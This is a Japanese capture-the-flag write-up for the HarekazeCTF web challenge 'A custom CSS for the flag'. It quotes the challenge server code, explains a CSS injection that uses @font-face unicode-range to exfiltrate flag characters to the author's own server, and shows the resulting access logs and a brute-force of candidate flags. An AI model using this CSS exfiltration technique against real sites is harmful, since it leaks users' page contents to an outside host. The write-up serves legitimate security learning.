# ▼▼▼A custom CSS for the flag(Web:250)18/447team=4.0%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```DescriptionLet’s decorate with fashionable CSS in this site(http://problem.harekaze.com:10003/).
Don’t DOS Attack.```
---
**1.脆弱性の特定**
http://problem.harekaze.com:10003/
↓
```<html>    <head>        <meta charset="utf8" />        <title>A custom CSS for the flag</title>        <script src='https://www.google.com/recaptcha/api.js'></script>    </head>    <body>        <h1>A custom CSS for the flag</h1> server.js             The flag is in http://127.0.0.1:3002/flag.html              The flag format is the two CSS3 properties connected by a underscore (_).            Example: HarekazeCTF{background-image_font-size} 
            The flag is in http://127.0.0.1:3002/flag.html 
            The flag format is the two CSS3 properties connected by a underscore (_).            Example: HarekazeCTF{background-image_font-size} 
        <form action="/crawl.html" method="post">            Server side chromium will access the following URL. The URL of CSS file must starts with "http://" or "https://".            http://127.0.0.1:3002/flag.html?css=<input type="text" name="css" />            <div class="g-recaptcha" data-sitekey="6LdemkQUAAAAALOZJWo32hcBTeUxT2clpl2fVqMO"></div>            <input type="submit"/>            Chromium Version : 64.0.3282.119-1~deb9u1        </form>    </body>```

↓
flagは、`http://127.0.0.1:3002/flag.html`にあり、任意のCSSを設定できる
また、自動読み込み側のブラウザは、`Chromium Version : 64.0.3282.119-1~deb9u1`と書かれている。
↓
CSSインジェクションからデータ抽出すればよいことがわかる。
---
**2.攻撃方法の絞り込み**
CSSインジェクションからデータ抽出する方法はいくつかあるので、どの攻撃が使えるか制約条件を`server.js`のソースコードから確認していく。
CSSのURLの読み込まれ方を確認
↓
```'use strict';
const express = require("express");const bodyParser = require('body-parser');const puppeteer = require('puppeteer');const https = require('https');const fs = require("fs");const app = express();const request = require("request");
app.use(bodyParser.urlencoded({ extended: true }))app.use(bodyParser.json())
async function crawl(req, res) {    if(!req.body['g-recaptcha-response']) {        res.send("ReCAPTCHA error.");        return;    }    var verificationUrl = `https://www.google.com/recaptcha/api/siteverify?secret=${process.env.RECAPTCHA_SECRET}&response=${req.body['g-recaptcha-response']}&remoteip=${req.connection.remoteAddress}`    request(verificationUrl,async function(error,response,body) {        const recaptcha = JSON.parse(body);        if( recaptcha.success === true ) {            res.send("Crawling");            const browser = await puppeteer.launch({executablePath: '/usr/bin/chromium'});            const page = await browser.newPage();            await page.goto( "http://127.0.0.1:3002/flag.html?css=" + req.body.css, { waitUntil: "load" });            await page.waitFor(20000);            await browser.close();        }else{            res.send("ReCAPTCHA error.");        }    });};
app.get('/server.js',function (req, res) { res.sendFile("/app/server.js") });app.post('/crawl.html', crawl);app.use('/', express.static('public'));var server = app.listen(3001, function () {    var host = server.address().address;    var port = server.address().port;    console.log('CSS-Injection http://%s:%s', host, port);});
const app2 = express();app2.get('/flag.html', function (req, res) {    console.log(req.connection.remoteAddress);    req.query.css = req.query.css || "";    if (req.query.css.startsWith("http://") || req.query.css.startsWith("https://")) {        res.send(`<html>            <link rel="stylesheet" href="${encodeURI(req.query.css)}" />            <body>                <div id="flag">                        HarekazeCTF{${fs.readFileSync("flag.txt")}}                </div>            </body>        </html>`);    } else {        res.send("Bad URI");    }});var server2 = app2.listen(3002,"localhost");```
---
`<link rel="stylesheet" href="${encodeURI(req.query.css)}" />`
↓
まず、CSSは、rel="stylesheet"で読み込まれており、hrefにURLを反映できることがわかる。
---
次に、flagの場所は下記のように、属性の中ではないことがわかる。
```<div id="flag">HarekazeCTF{${fs.readFileSync("flag.txt")}}</div>```
これらより、`@font-faceのunicode-rangeを利用する攻撃方法`でデータ抽出できそうだ。
---
**3.exploit**
PHPで下記のようにコードを書いて、flagに使われている文字を抽出していく。
※クロスドメイン通信でのCSS読み込みでは、`Content-Type:text/css`は必須であることに注意する。
↓
`css.php`
```
#flag{ font-family:poc;}```
---
後は、自サーバの下記のURLにcss.phpを配置して踏ませればよい。
↓
http://{my_server}/css.php
↓
すると、待ち受けているmy_serverにアクセスが来る。
↓
```163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /css.php HTTP/1.1" 200 8116 "http://127.0.0.1:3002/flag.html?css=http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?{ HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?z HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?r HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?o HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?k HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?e HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?d HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?b HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?T HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?H HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?a HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?F HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?C HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?- HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?t HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?m HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?l HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?f HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?s HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?u HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?n HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?_ HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?} HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?i HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:22 +0000] "GET /?c HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"```
↓
使われている文字が、下記であることがわかった。
`{zorkedbaFTHCtmlfusnic_-}`
↓整理してみる
`HarekazeCTF{odbtmlfusnic_-}`
↓
よって、`{}`の中は`odbtmlfusnic_-`を使うのは必須で、重複も可能なため`abcdef..i.klmno..rstu....z_-`の文字を利用できることがわかった。
---
**4.flagの絞り込み**
flag形式を再確認する
↓
```The flag format is the two CSS3 properties connected by a underscore (_).Example: HarekazeCTF{background-image_font-size}```
↓
2つのCSS3のpropertiesを_で連結している形式であることがわかる。
---
下記のCSS properties Listを参考にした。
```https://www.w3.org/Style/CSS/all-properties.en.htmlhttp://htmlcss.jp/css/index.html```
↓
CSS3で新たに使えるようになったもの、使われていない文字`ghjpqvwzy`を元にプロパティを絞り込んだ。
また、組み合わせの確認については、必須文字が12文字なので6文字以上合致しているものを軸に、総当たりで確認していった。
すると、条件を満たすものを複数発見することができた。
↓
```border-bottom-left-radius × animation-directionborder-bottom-left-radius × animation-iteration-countborder-bottom-left-radius × column-count
border-top-left-radius × column-fillborder-top-left-radius × column-rule-colorborder-top-left-radius × column-count
border-top-right-radius × column-fill
dominant-baseline × column-fill```
↓
8(上記の8個)×2(前後)=16回をブルートフォースしてflagを特定した
↓
`HarekazeCTF{animation-direction_border-bottom-left-radius}`